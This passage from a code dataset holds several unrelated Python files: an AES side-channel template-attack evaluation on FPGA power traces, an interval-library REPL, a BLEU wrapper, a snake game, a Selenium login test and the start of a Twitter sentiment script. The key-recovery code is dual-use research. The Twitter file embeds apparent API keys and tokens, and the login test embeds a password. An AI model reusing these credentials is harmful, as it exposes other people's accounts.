list(range(len(info)))]\n return plaintsAll, ciphers\n\n\n\ndef guessingEntropy(profiling_nums, attacking_nums, misalign_ratio, window, shift=0, rep_nums=100, factor=1, soft=True, offset=True, interpolate=False, smooth=False):\n numpy.random.seed(int(time.time()))\n fpath = FilePath()\n fpath[u'trspath'] = u'D:/GoogleDrive/Workspaces/trs/aes_fpga_con3 + StaticAlign2.trs'\n # fpath[u'trspath'] = u'/Users/pushbeni/Downloads/aes_fpga_con3 + StaticAlign2.trs'\n # 101622\n poi = numpy.asarray(list(range(101568, 101568 + window))) if soft is True\\\n else numpy.asarray(list(range(35, 35 + window)))\n\n # read traces\n dat, label, _, _ = readBinaryDat(0, profiling_nums, fpath, shift, factor, poi, soft)\n datStd = standardize(dat)\n\n transfer = PCA(n_components=0.7)#PCA(n_components=0.7)\n datStd = transfer.fit_transform(datStd, label)\n # datStd = dat\n\n mdl = ta.TemplateModel() if soft is True else ta.TemplateModelCommon(transform=False)\n\n mdl.fit(datStd, label, n_labels=9 if soft is True else 256)\n\n avgrank = numpy.zeros((len(misalign_ratio), len(attacking_nums)), dtype='float32')\n\n # read traces\n poi_ = numpy.asarray(list(range(poi[0] - window, poi[0] + 2 * window)))\n dat_, label_, plaints_, offsetlist_ = readBinaryDat(profiling_nums,\\\n 2000 + profiling_nums if soft is True else 20000 + profiling_nums, fpath, 0, 1, poi_, soft)\n for misalign_idx in list(range(len(misalign_ratio))):\n #_dat_ = numpy.roll(dat_,int(round(misalign_ratio[misalign_idx]*window)), axis=1)\n if offset is True:\n offset_ = int(round(misalign_ratio[misalign_idx] * window))\n datStd_ = standardize(dat_[:,window - offset_ : 2 * window - offset_])\n elif interpolate is True:\n dat_intered = numpy.zeros((dat_.shape[0], window))\n for i in list(range(dat_.shape[0])):\n x = numpy.array(list(range(0,dat_.shape[1])))\n step = misalign_ratio[misalign_idx]\n center = dat_.shape[1] // 2\n start = center - step * 0.5 * window\n end = center + step * 0.5 * window\n x_new = numpy.arange(start, end, step)[0:window]\n f = interp1d(x, dat_[i])\n dat_intered[i] = f(x_new)\n datStd_ = standardize(dat_intered)\n elif smooth is True:\n smooth_size = misalign_ratio[misalign_idx]\n dat_ = moving_ave(dat_, smooth_size)\n datStd_ = standardize(dat_[:, dat_.shape[1] // 2 - window // 2 : dat_.shape[1] // 2 + window // 2])\n else:\n datStd_ = dat_[:, window : 2 * window]\n\n datStd_ = transfer.transform(datStd_)\n\n for at_num in list(range(len(attacking_nums))):\n for reps in list(range(rep_nums)):\n samp_idx = random.sample(list(range(len(datStd_))), attacking_nums[at_num])\n rank = mdl.predict(datStd_[samp_idx], plaints_[samp_idx], offsetlist=offsetlist_[samp_idx]) if soft is True\\\n else mdl.predict(datStd_[samp_idx], plaints_[samp_idx])\n avgrank[misalign_idx, at_num] += rank\n avgrank[misalign_idx, at_num] /= rep_nums\n print('random shift: ' + str(shift))\n print(avgrank)\n return avgrank\n\n\ndef record_ratio(soft=True):\n shift_ratio = [0] if soft is True else [0]\n misal_ratio = [0]\n profilingnum = [2000] if soft is True else [5000]\n attackinglist = [100] if soft is True else [1000]\n reps = 20\n window = 54 if soft is True else 20\n C = 10\n ranks = numpy.zeros((len(shift_ratio),len(misal_ratio),len(attackinglist)), 'float32')\n\n for s in list(range(len(shift_ratio))):\n ranks[s] = guessingEntropy(profiling_nums = profilingnum[0],\n attacking_nums = attackinglist,\n misalign_ratio = misal_ratio,\n window = window,\n shift = int(round(shift_ratio[s] * window)),\n rep_nums = reps,\n factor = 1 + C * shift_ratio[s],\n soft = soft,\n offset = True,\n interpolate = False,\n smooth = False)\n\n for s in list(range(len(shift_ratio))):\n print('random shift - ' + str(int(round(shift_ratio[s] * window))))\n print(ranks[s])\n #save_pickle(ranks, 'ge-soft-added.pkl' if soft is True else\n #'ge-hard-ridge-exp.pkl' )\n\ndef ge(attacking_nums, misalign_ratio, window, shift=0, rep_nums=100, factor=1, diag=1):\n dat, plaint, label = load_pickle('simu-leakage-std-beta-'+str(diag)+'.pkl') # 'simu-leakage-std-hw.pkl'\n datX, plaintX, labelX = load_pickle('simu-leakage-std-beta-'+str(diag)+'.pkl')\n if shift == 0:\n factor = 1\n idx_tr = list(range(0, 1000))\n orig = len(idx_tr)\n rows = int(round(orig * factor))\n datAug = numpy.zeros((int(round(rows)), window), 'float64')\n labelAug = numpy.zeros(int(round(rows)), 'int')\n for i in list(range(0, orig)):\n datAug[i] = dat[i, :]\n labelAug[i] = label[i]\n for i in list(range(orig, rows)):\n shiftlist = list(range(2 * shift))\n offset = shiftlist[i % len(shiftlist)]\n offset = offset + 1 if offset < shift else offset - len(shiftlist)\n # offset = numpy.random.randint(-shift, shift + 1)\n # _tem = dat[i%orig, dat.shape[1]//2-window//2 - offset :\n # dat.shape[1]//2+window//2 - offset]\n _tem = numpy.roll(datAug[i % orig], offset)\n datAug[i] = 0.5 * (_tem + datAug[i % orig])\n labelAug[i] = label[i % orig]\n\n datStd = standardize(datAug)\n\n idx_va = list(range(len(idx_tr), len(idx_tr) + 4000))\n dat_ = datX[idx_va]\n plaint_ = plaintX[idx_va]\n label_ = labelX[idx_va]\n\n transfer_model = PCA(n_components=0.7)\n mean_vec = numpy.zeros((256, datStd.shape[1]))\n indexes = [[] for i in list(range(256))]\n for i in list(range(len(labelAug))):\n indexes[labelAug[i]].append(i)\n for z in list(range(256)):\n if len(indexes[z]) == 0:\n continue\n mean_vec[z] = numpy.mean(datStd[indexes[z], :], axis=0)\n mean_vec = transfer_model.fit_transform(mean_vec)\n datTrain = transfer_model.transform(datStd)\n mdl = ta.TemplateModelCommon()\n mdl.fit(datTrain, labelAug, n_labels=256)\n\n avgrank = numpy.zeros((len(misalign_ratio), len(attacking_nums)), dtype='float32')\n for misalign_idx in list(range(len(misalign_ratio))):\n offset_ = int(round(misalign_ratio[misalign_idx] * window))\n _tem = numpy.roll(dat_, offset_)\n _tem[:offset_] = 0\n\n # avg_rank=0\n for at_num in list(range(len(attacking_nums))):\n for reps in list(range(rep_nums)):\n samp_idx = random.sample(list(range(len(idx_va))), attacking_nums[at_num])\n\n datStd_ = standardize(dat_[samp_idx])\n # datStd_ = numpy.roll(datStd_, offset_)\n # datStd_[:offset_] = 0\n\n datTest = transfer_model.transform(datStd_)\n\n rank = mdl.predict(datTest, plaint_[samp_idx])\n avgrank[misalign_idx, at_num] += rank\n # avr += rank[1]\n avgrank[misalign_idx, at_num] /= rep_nums\n # avr /= rep_nums\n print('random shift: ' + str(shift))\n print('likelilhood: ' + str(avgrank))\n # print('corr: ' + str(avr))\n return avgrank\n\n\n\ndef record_simu(diag=1):\n shift_ratio = [0,0.2]\n misal_ratio = [0]\n attackinglist = [50, 100, 150, 200, 300, 400]\n reps = 50\n window = 50\n C = 10\n ranks = numpy.zeros((len(shift_ratio),len(misal_ratio),len(attackinglist)), 'float32')\n for s in list(range(len(shift_ratio))):\n ranks[s] = ge(attacking_nums = attackinglist,\n misalign_ratio = misal_ratio,\n window = window,\n shift = int(round(shift_ratio[s] * window)),\n rep_nums = reps,\n factor = 1 + C * shift_ratio[s],\n diag = diag)\n\n for s in list(range(len(shift_ratio))):\n print('random shift - ' + str(int(round(shift_ratio[s] * window))))\n print(ranks[s])\n save_pickle(ranks, 'ge-simu-hw-corr-'+str(diag)+'-2000.pkl')\n\n\n\nif __name__ == '__main__':\n\n numpy.set_printoptions(formatter={'float': '{: 0.3f}'.format})\n # record_ratio(soft=True)\n record_simu(diag=1)\n\n\n","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":18590,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"559953154","text":"#Import the print function for compatibility with Python3+\nfrom __future__ import print_function\n#Imports system modules\nimport string\nimport readline\nimport re\nimport sys\nimport argparse\nimport pydoc\n#Imports modules from Kodiak Interface\nfrom parser import Parser\nfrom kodiak_parser import KodiakParser\nfrom smt_parser import SMTParser\nfrom interface import Interface\nfrom interface import KodiakError\nfrom numbers import Number\n\n\n# inputs which terminate the evaluation loop\nquit_commands = [\"quit\", \"exit\"]\n# global quit command flag\nquit_command_read = False\n# regex to read filenames from user input\nread_file_regex = r\"file (?P.*)\"\n# global flag for keeping state while reading multiple files\nout_file_set = False\n# holds args passed for the program\nargs = None\n# flag to continue execution after reading a file if command line argument set\ndo_not_exit = False\n# input cache\ninput_store = \"\"\n# file name in which to store all the input\ninput_save_file = None\n# no outputs flag\nno_outputs = False\n\ndef set_quit_command_read():\n '''Sets quit_command_read flag to true'''\n global quit_command_read\n quit_command_read = True\n \ndef read_file(name, user_input = False):\n '''Reads a script from file and executes it\n\n If name consists only of file name, this function should be called \n with a single argument.\n\n If name is of format 'file filename', user_input must be True.\n\n Args:\n name: A string either containing only the filename \n or of format 'file filename' \n user_input: Boolean flag, with default value False.\n If user_input true, uses regex to extract file_name from name\n '''\n if(user_input):\n file_name = re.match(read_file_regex, name).group(\"file_name\")\n else:\n file_name = name\n try:\n # open file given by user and close it when execution reading it is finished\n with open(file_name, \"r\") as f:\n file_input = f.read()\n if(no_outputs is False):\n print (\"\")\n print (\"Input from file :\")\n print (\"\")\n print (file_input)\n print (\"\")\n if(interface.get_out_file() == \"\"):\n if(no_outputs is False):\n print (\"Results :\")\n print (\"\")\n parse_input(file_input)\n if(no_outputs is False):\n print (\"\")\n except IOError as err:\n print('ERROR, file not found: ' + err.filename +\"\\n\", file=sys.stderr)\n\ndef save_input():\n '''Saves all syntactically correct input to file whose name is contained in input_save_file'''\n with open(save_file, \"a\") as f:\n lines = input_store.splitlines()\n for line in lines:\n line.strip(string.whitespace)\n if(not line.endswith(\";\")):\n line = line + \";\"\n f.write(line)\n f.write(\"\\n\")\n\n\n# \ndef parse_input(user_input):\n '''Runs parser on user_input\n If parser successfully parser the input it gets appended to input_store for potential save_paving\n If an unignorable error occurs while parsing resets the interface.\n\n Args:\n user_input: a string containing input from the user\n all unicode strings no matter the contents should be properly handled\n\n Should it clear input_store?\n '''\n global input_store\n try:\n if(parser.parse(user_input) is not None):\n input_store = input_store + user_input + \"\\n\" \n except KodiakError as err:\n print(\"Error: \", err, file=sys.stderr)\n interface.reset_env()\n\ndef show_help():\n '''Shows the help text contained in help.txt using internal Python pager'''\n with open(\"help.txt\", \"r\") as f:\n pydoc.pager(f.read()) \n \ndef eval_loop():\n '''The evaluation loop which drives the interactive mode of the program\n\n Runs until quit_command_read is set to True by user inputting commands\n Or on Linux ctrl+D or ctrl+C is pressed.\n '''\n while (not quit_command_read):\n #reads user input and removes leading and trailing whitespace\n try:\n parse_input(raw_input(\"Kodiak> \").strip(string.whitespace))\n except (KeyboardInterrupt, EOFError):\n print (\"Goodbye!\")\n sys.exit(0)\n\ndef parse_cmd_args():\n '''Parses command line arguments using Argparser\n\n Returns: \n argparse.Namespace object, which is just a holder for argument values\n '''\n argparser = argparse.ArgumentParser(prog = \"Kodiak Interval Library\", description = \"Kodiak Interval Library\", epilog = \"More in-depth help can be found in the readme.pdf file\",)\n argparser.add_argument('-o', '--output-file', dest=\"output_file\", type=str, help='''This file will be used to store the results,\n if file already exists, new results are appended''')\n argparser.add_argument('input_files', nargs='*', type=str, help='''Any number of input files, with relative or absolute paths''')\n argparser.add_argument('-u','--unsafe', action=\"store_true\", help='''Set the safe input of the library to false''')\n argparser.add_argument('-d','--debug', action=\"store_true\", help='''Set the debug mode of the library to true''')\n argparser.add_argument('-c', '--cont', action=\"store_true\", help='''Continue execution after reading files passed as command line arguments''')\n argparser.add_argument('-s','--save-file', dest=\"save_file\", help='''Store all the syntactically correct input''')\n argparser.add_argument('-q','--quiet', action=\"store_true\", help='''Does not print anything to the console''')\n args = argparser.parse_args()\n return args\n\ninterface = Interface()\nparser = KodiakParser(interface = interface, quit_function = set_quit_command_read, help_function = show_help, read_file_function = read_file)\n# parser = SMTParser(interface = interface)#KodiakParser(interface = interface) \n\n# Checks if the program is called directly and not imported from Python interpreter\nif __name__ == \"__main__\":\n args = parse_cmd_args()\n if(args.unsafe is True):\n interface.set_safe_input('false')\n if(args.debug is True):\n interface.set_debug('true')\n print('debug is on')\n if(args.cont is True):\n do_not_exit = True\n if(args.quiet is True):\n no_outputs = True\n if(args.save_file is not None):\n save_file = args.save_file\n if(args.output_file is not None):\n interface.set_out_file(args.output_file)\n for file in args.input_files:\n read_file(file)\n\n if(args is None or len(args.input_files) is 0 or do_not_exit): \n # program begin here\n if(no_outputs is not True):\n print (\"\")\n print (\"Welcome to Kodiak!\")\n print (\"\")\n eval_loop()\n\n if(input_save_file is not None):\n save_input()\n","sub_path":"python/kodiak.py","file_name":"kodiak.py","file_ext":"py","file_size_in_byte":6806,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"226101403","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport argparse\nimport operator\nimport os\nimport re\n\nimport numpy \nimport time\nimport math\nimport json\n\n\ndef parseargs():\n parser = argparse.ArgumentParser()\n\n parser.add_argument(\"--hypo\", type=str, required=True)\n parser.add_argument(\"--ref\", type=str, required=True)\n parser.add_argument(\"--bleu\", type=str, required=True)\n parser.add_argument(\"--output\", type=str, required=True)\n parser.add_argument(\"--tag\", action=\"store_true\")\n\n return parser.parse_args()\n\n\ndef get_tag_name(word):\n if is_start_tag(word):\n return word[1:-1].split(' ')[0]\n elif is_end_tag(word):\n return word[2:-1].split(' ')[0]\n assert 0 == 1 \n\n\ndef is_end_tag(word):\n if word[0] == '<' and word[1] == '/' and word[-1] == '>':\n return True\n return False\n\n\ndef is_start_tag(word):\n if word[0] == '<' and word[1] != '/' and word[-1] == '>':\n return True\n return False\n\n\ndef is_tag(word):\n if is_start_tag(word) or is_end_tag(word):\n return True\n return False\n\n\ndef splitline(line, args):\n result = line.split()\n pos = 0\n while pos < len(result):\n if result[pos][0] == '<' and result[pos][-1] != '>':\n if pos+1 < len(result):\n result[pos] += ''+result[pos+1]\n del result[pos+1]\n else:\n print('wrong!! ', result[pos])\n exit()\n else:\n pos += 1\n return result\n\ndef removetitle(line):\n result = re.sub('title=\".*?\"', '', line)\n return result\n\n\nif __name__ == \"__main__\":\n args = parseargs()\n hypo = open(args.hypo, 'r').read()\n lines_hypo = hypo.split('\\n')\n if lines_hypo[-1] == '':\n del lines_hypo[-1]\n \n ref = open(args.ref, 'r').read()\n lines_ref = ref.split('\\n')\n if lines_ref[-1] == '':\n del lines_ref[-1]\n\n \n middle_hypo = open('tmp.hypo', 'w')\n middle_ref = open('tmp.ref', 'w')\n\n for i in range(len(lines_hypo)):\n line_hypo = lines_hypo[i]\n line_ref = lines_ref[i]\n words_hypo = splitline(line_hypo, args)\n words_ref = splitline(line_ref, args)\n words_hypo = [removetitle(w) for w in words_hypo]\n words_ref = [removetitle(w) for w in words_ref]\n middle_hypo.write(' '.join(words_hypo)+'\\n')\n middle_ref.write(' '.join(words_ref)+'\\n')\n\n middle_hypo.close()\n middle_ref.close()\n os.system(\"perl \"+args.bleu+\" -lc tmp.ref < tmp.hypo > \" +args.output)\n\n os.system(\"rm tmp.hypo\")\n os.system(\"rm tmp.ref\")\n\n","sub_path":"thumt/scripts/bleu_structured_2.py","file_name":"bleu_structured_2.py","file_ext":"py","file_size_in_byte":2620,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"113556985","text":"from graphics import *\nfrom enum import Enum\nfrom collections import deque\nfrom copy import deepcopy\nimport random\n\nUP, DOWN, LEFT, RIGHT = range(4)\n\n\nclass Direction(Enum):\n UP = 0\n DOWN = 1\n LEFT = 2\n RIGHT = 3\n\n\nclass Game:\n def __init__(self, neural_net, display_graphics=False, window_size=200, game_size=15):\n self.win = None\n self.display_graphics = display_graphics\n self.wall_boundary = game_size - 1\n self.walls = Rectangle(Point(0, 0), Point(game_size - 1, game_size - 1))\n self.snake = Snake((int(game_size / 2), int(game_size / 2)), neural_net)\n self.score = 0\n self.continue_game = True\n self.food = (5, int(game_size/2))\n random.seed(2)\n\n if display_graphics:\n p1 = (0, 0)\n p2 = (game_size - 1, game_size - 1)\n win = GraphWin(width=window_size, height=window_size)\n self.win = win\n win.setCoords(-1, -1, game_size, game_size)\n win.setBackground(\"black\")\n self.point_width = float(window_size)/(game_size + 1)\n self.draw_line(p1, p2, \"grey\")\n self.snake_graphic = deque()\n self.food_graphic = self.draw_line(self.food, self.food, \"red\")\n unit = self.draw_line(self.snake.head, self.snake.body[0], \"white\")\n self.snake_graphic.append(unit)\n unit2 = self.draw_line(self.snake.body[0], self.snake.body[1], \"white\")\n self.snake_graphic.append(unit2)\n\n def draw_line(self, p1, p2, color):\n \"\"\"Draws line, and returns the Rectangle object. point1 and point2 are tuples.\"\"\"\n point1 = Point(p1[0], p1[1])\n point2 = Point(p2[0], p2[1])\n rect = Rectangle(point1, point2)\n rect.setWidth(self.point_width)\n rect.setOutline(color)\n rect.draw(self.win)\n return rect\n\n def step(self):\n \"\"\"Updates the next food position, snake position, and the graphics for a single time step.\"\"\"\n if (self.display_graphics):\n update(50)\n inputs = self.retrieve_nn_inputs()\n direction = self.snake.action(inputs)\n snake_head_copy = deepcopy(self.snake.head)\n self.snake.body.appendleft(snake_head_copy)\n\n # Move snake accordingly.\n if direction == Direction.UP:\n self.snake.head = (snake_head_copy[0], snake_head_copy[1] + 1)\n elif direction == Direction.DOWN:\n self.snake.head = (snake_head_copy[0], snake_head_copy[1] - 1)\n elif direction == Direction.LEFT:\n self.snake.head = (snake_head_copy[0] - 1, snake_head_copy[1])\n elif direction == Direction.RIGHT:\n self.snake.head = (snake_head_copy[0] + 1, snake_head_copy[1])\n\n if self.display_graphics:\n unit = self.draw_line(snake_head_copy, deepcopy(self.snake.head), \"white\")\n self.snake_graphic.appendleft(unit)\n\n if self.snake.head == self.food: # Update snake if it ate the food\n self.snake.fitness += 1\n self.snake.head = deepcopy(self.food)\n self.regenerate_food()\n else:\n self.snake.body.pop()\n if self.display_graphics:\n end = self.snake_graphic.pop()\n end.undraw()\n self.win.setBackground(\"black\")\n if self.snake.head in self.snake.body or self.coordinate_is_wall(self.snake.head): # If snake died\n self.continue_game = False\n\n def coordinate_is_wall(self, coordinate):\n return coordinate[0] == self.wall_boundary or coordinate[0] == 0 or \\\n coordinate[1] == self.wall_boundary or coordinate[1] == 0\n\n def regenerate_food(self):\n if self.display_graphics:\n self.food_graphic.undraw()\n self.win.setBackground(\"black\")\n if (self.wall_boundary-1)**2 == len(self.snake.body) + 1:\n self.continue_game = False\n return\n else:\n while True:\n food_x = random.randint(1, self.wall_boundary-1)\n food_y = random.randint(1, self.wall_boundary-1)\n if (food_x, food_y) != self.snake.head and (food_x, food_y) not in self.snake.body:\n self.food = (food_x, food_y)\n if self.display_graphics:\n self.food_graphic = self.draw_line(self.food, self.food, \"red\")\n break\n\n def retrieve_nn_inputs(self):\n \"\"\"NN Input:\n 0) x distance to apple: food.x - head.x\n 1) y distance to apple: food.y - head.y\n 2) up: vertical dist to wall or self\n 3) right: horizontal dist to wall or self\n 4) left: horizontal dist to wall or self\n 5) down: vertical dist to wall or self\n 6) length of the snake \"\"\"\n nn_input = []\n head = self.snake.head\n nn_input.append(self.food[0] - head[0])\n nn_input.append(self.food[1] - head[1])\n for i in range(head[1] + 1, self.wall_boundary + 1):\n test_pt = (head[0], i)\n if self.coordinate_is_wall(test_pt) or test_pt in self.snake.body:\n nn_input.append(i - head[1])\n break\n for i in range(head[0] + 1, self.wall_boundary + 1):\n test_pt = (i, head[1])\n if self.coordinate_is_wall(test_pt) or test_pt in self.snake.body:\n nn_input.append(i - head[0])\n break\n for i in range(head[0] - 1, -1, -1):\n test_pt = (i, head[1])\n if self.coordinate_is_wall(test_pt) or test_pt in self.snake.body:\n nn_input.append(head[0] - i)\n break\n for i in range(head[1] - 1, -1, -1):\n test_pt = (head[0], i)\n if self.coordinate_is_wall(test_pt) or test_pt in self.snake.body:\n nn_input.append(head[1] - i)\n break\n nn_input.append(self.snake.length())\n nn_input.append(1)\n return nn_input\n\n def get_score(self):\n return self.score\n\n def get_continue_status(self):\n \"\"\"Returns false if the snake has hit a wall or itself.\"\"\"\n return self.continue_game\n\n def kill(self):\n self.win.close()\n\n def manhattan_distance_to_food(self):\n return abs(self.food[0] - self.snake.head[0]) + abs(self.food[1] - self.snake.head[1])\n\n\nclass Snake:\n def __init__(self, head_coordinate, neural_net):\n self.fitness = 0\n self.fn = neural_net\n self.head = head_coordinate\n self.body = deque()\n self.body.append((head_coordinate[0] + 1, head_coordinate[1]))\n self.body.append((head_coordinate[0] + 2, head_coordinate[1]))\n\n def action(self, inputs): # Returns LEFT, RIGHT, UP, or DOWN.\n \"\"\"Returns LEFT, RIGHT, UP, or DOWN. Outputs from neural network.\"\"\"\n nn_output = self.fn(inputs)\n best_direction = nn_output.index(max(nn_output))\n return Direction(best_direction)\n\n def length(self):\n return 1 + len(self.body)","sub_path":"snake_game.py","file_name":"snake_game.py","file_ext":"py","file_size_in_byte":7008,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"63341319","text":"import random\nglobal money\nmoney = 100\ncoin = ('heads', 'tails')\ndef coin_flip(guess,bet):\n global money\n flip = random.choice(coin)\n if flip == guess:\n money += bet\n return \"Correct it was \" + flip\n elif flip != guess:\n money -= bet\n return \"wrong it was \" + flip\nX = []\nwhile True:\n if money > 0:\n print(coin_flip('heads',50)) # runs only on heads \n print(money)\n X.append(money)\n else:\n break\nprint(max(X))\n","sub_path":"Sim.py","file_name":"Sim.py","file_ext":"py","file_size_in_byte":423,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"471748640","text":"from selenium import webdriver\nimport unittest\nfrom com.crossknowledge.teamshift.pages.LoginPage import LoginPage\nfrom com.crossknowledge.teamshift.pages.HomePage import HomePage\n\nclass LoginTest(unittest.TestCase):\n\n @classmethod\n def setUpClass(cls):\n cls.driver = webdriver.Firefox(executable_path='C:\\\\\\\\TeamShift\\\\resources\\\\drivers\\\\geckodriver.exe')\n cls.driver.implicitly_wait(20)\n cls.driver.maximize_window()\n\n\n def testLogin(self):\n driver = self.driver\n \n self.driver.get(\"https://teamshift-qa.crossknowledge.com/\")\n \n login = LoginPage(driver)\n login.logInButton()\n login.enterEmail(\"felipe.pazinatto@fakedomain.com\")\n login.nextLoginButton()\n login.enterPassword(\"PY_Auto123\")\n login.nextLoginButton()\n \n home = HomePage(driver)\n isUserLogged = home.validateUserLogged()\n \n if \"Felipe Pazinatto\" in isUserLogged:\n assert True\n else:\n assert False\n \n print(\"Test Finished\")\n \n self.driver.quit()","sub_path":"TeamShift/com/crossknowledge/teamshift/tests/LoginTest.py","file_name":"LoginTest.py","file_ext":"py","file_size_in_byte":1131,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"46325973","text":"puzzle = int(open(\"input.txt\", \"r\").readlines()[8].split()[1])\n\ndef register_0(number, is_part_1):\n seen = set()\n c = 0\n last_unique_c = -1\n\n while True:\n a = c | 65536\n c = number\n\n while True:\n c = (((c + (a & 255)) & 16777215) * 65899) & 16777215\n\n if 256 > a:\n if is_part_1:\n return c\n else:\n if c not in seen:\n seen.add(c)\n last_unique_c = c\n break\n else:\n return last_unique_c\n else:\n a //= 256\n\n\nprint(f\"Lowest non-negative integer value for register 0 (fewest instructions): {register_0(puzzle, True)}\")\nprint(f\"Lowest non-negative integer value for register 0 (most instructions): {register_0(puzzle, False)}\")\n","sub_path":"Day21/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":880,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"91969730","text":"from odoo import api, fields, models\nfrom odoo.tools import html2plaintext\n\nclass ResPartner(models.Model):\n _inherit = \"res.partner\"\n\n about_author = fields.Html(\"About Author\", help=\"The About the Author description in the blog post\")\n gravatar_image_url = fields.Char(\"Gravatar Image URL\", help=\"Gravatar URL of the Blog Author\")\n social_twitter = fields.Char('Twitter Account')\n social_facebook = fields.Char('Facebook Account')\n social_github = fields.Char('GitHub Account')\n social_linkedin = fields.Char('LinkedIn Account')\n social_youtube = fields.Char('Youtube Account')\n social_googleplus = fields.Char('Google+ Account')\n social_instagram = fields.Char('Instagram Account')\n\n def get_partner_social(self):\n self.ensure_one()\n socials = []\n if self.social_twitter:\n socials.append(self.social_twitter)\n if self.social_facebook:\n socials.append(self.social_facebook)\n if self.social_github:\n socials.append(self.social_github)\n if self.social_linkedin:\n socials.append(self.social_linkedin)\n if self.social_youtube:\n socials.append(self.social_youtube)\n if self.social_googleplus:\n socials.append(self.social_googleplus)\n if self.social_instagram:\n socials.append(self.social_instagram)\n return socials\n\n @api.model\n def has_about_author(self):\n return html2plaintext(self.about_author) and True or False","sub_path":"models/res_partner.py","file_name":"res_partner.py","file_ext":"py","file_size_in_byte":1506,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"626893085","text":"# Функция ввода массива\r\ndef input_array(row, column):\r\n array = []\r\n for i in range(0, row):\r\n sub_array = []\r\n for j in range(column):\r\n print('Введите число [ ', i, ' ]', '[ ', j, ' ]:')\r\n number = int(input())\r\n sub_array.append(number)\r\n array.append(sub_array)\r\n return array\r\n\r\n# Функция вывода массива\r\ndef output_array(array):\r\n print()\r\n for i in array:\r\n for j in i:\r\n print(\"%d\\t\" % j, end='')\r\n print('')\r\n\r\n# Нахождение максимального элемента\r\ndef search_max(max_eL, array):\r\n for i in array:\r\n for j in i:\r\n if max_eL < j:\r\n max_eL = j\r\n return max_eL\r\n\r\n# Выполнение условия задачи\r\ndef solve_task(array, max_elem):\r\n for i in range(len(array)):\r\n for j in range(len(array)):\r\n if array[i][j] == max_elem:\r\n for i in range(len(array)):\r\n for j in range(0, 1):\r\n array[i][j] *=2\r\n return array\r\n\r\n\r\ndef main():\r\n array = input_array(4, 5)\r\n output_array(array)\r\n # Задаем макс элемент\r\n max_elem = array[0][0]\r\n # Находим макс элемент в массиве\r\n max_elem = search_max(max_elem, array)\r\n array = solve_task(array, max_elem)\r\n output_array(array)\r\n\r\nif __name__ == '__main__':\r\n main()\r\n","sub_path":"Proj3.1/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1490,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"200456995","text":"# Importing Libraries\nimport cv2 \nimport numpy as np \nimport matplotlib.pyplot as plt\n\n# importing the car cascade to detect cats\ncar_cascade = cv2.CascadeClassifier('cars.xml')\n\n# Making the detect function to detect cars\ndef detect(gray, frame):\n\n cars = car_cascade.detectMultiScale(gray, 1.37, 3)\n for (x, y, w, h) in cars:\n cv2.putText(frame, 'car', (x, y), cv2.FONT_ITALIC, 1, (255, 255, 255), 2)\n cv2.rectangle(frame, (x, y), (x + w, y + h), (255, 0, 0), 2)\n return frame\n\n# To read the video road.mp4\ncap = cv2.VideoCapture('road.mp4')\n \n# Read until video is completed\nwhile(cap.isOpened()):\n\n # Capture frame-by-frame\n ret, frame = cap.read()\n if ret == True:\n gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n # Blur the video\n gray = cv2.blur(gray,(8,8))\n\n # Detect edges\n edges = cv2.Canny(gray, 50, 200)\n\n # detect cars\n detected = detect(gray, frame)\n\n lines = cv2.HoughLinesP(edges, 1, np.pi/180, 120, minLineLength=5, maxLineGap=20)\n \n # Draw lines on the image\n if lines is not None:\n for line in lines:\n x1, y1, x2, y2 = line[0]\n cv2.line(frame, (x1, y1), (x2, y2), (255, 0, 0), 3)\n if lines is None:\n pass\n\n cv2.imshow('Frame',frame)\n cv2.imshow('Blur Image', gray)\n cv2.imshow('Edges', edges)\n \n # Press Q on keyboard to exit\n if cv2.waitKey(25) & 0xFF == ord('q'):\n break\n \n # Break the loop\n else: \n break\n \n# When everything done, release the video capture object\ncap.release()\n \n# Closes all the frames\ncv2.destroyAllWindows()","sub_path":"Lane_Detector.py","file_name":"Lane_Detector.py","file_ext":"py","file_size_in_byte":1573,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"235949686","text":"from flask import Flask,render_template,request,jsonify\r\nimport tweepy\r\nfrom textblob import TextBlob\r\n#from nltk.sentiment.vader import SentimentIntensityAnalyzer\r\nfrom nltk.stem import WordNetLemmatizer\r\nimport pandas as pd\r\n\r\n#---------------------------------------------------------------------------\r\nlmtzr = WordNetLemmatizer()\r\n\r\nconsumer_key = '7sUgL1xt7kjJqoVbmrs031X0c'\r\nconsumer_secret = 'gKkTDutHQPjjzD1DFgrBPgyO4jxueuPrRZ8IA6Ue9I3nrMwJeC'\r\n\r\naccess_token = '188014209-a4dSCWYDLAmXo89wYeimOe2NMWum7b1zYpdAlwVA'\r\naccess_token_secret = 'KI7oaQ3WuEzQhMUY09vT0SvR7YOPoEeL4HCT8e0NaBzqq'\r\n\r\nauth = tweepy.OAuthHandler(consumer_key, consumer_secret)\r\nauth.set_access_token(access_token, access_token_secret)\r\n\r\napi = tweepy.API(auth)\r\n\r\n#-------------------------------------------------------------------------\r\ndef lemmatize_sentences(sentence):\r\n tokens = sentence.split()\r\n lemmatized_tokens = [lmtzr.lemmatize(token) for token in tokens]\r\n return ' '.join(lemmatized_tokens)\r\n\r\ndef clean_tweets(text):\r\n text = \" \".join([word for word in text.split()\r\n if 'http' not in word\r\n and not word.startswith('@')\r\n and not word.startswith('#')\r\n and word != 'RT'\r\n ])\r\n return text\r\n\r\ndef data_cleaning_and_preparation(input_text):\r\n #Converting every word to lowercase and removing twitter specific terms (@, #, 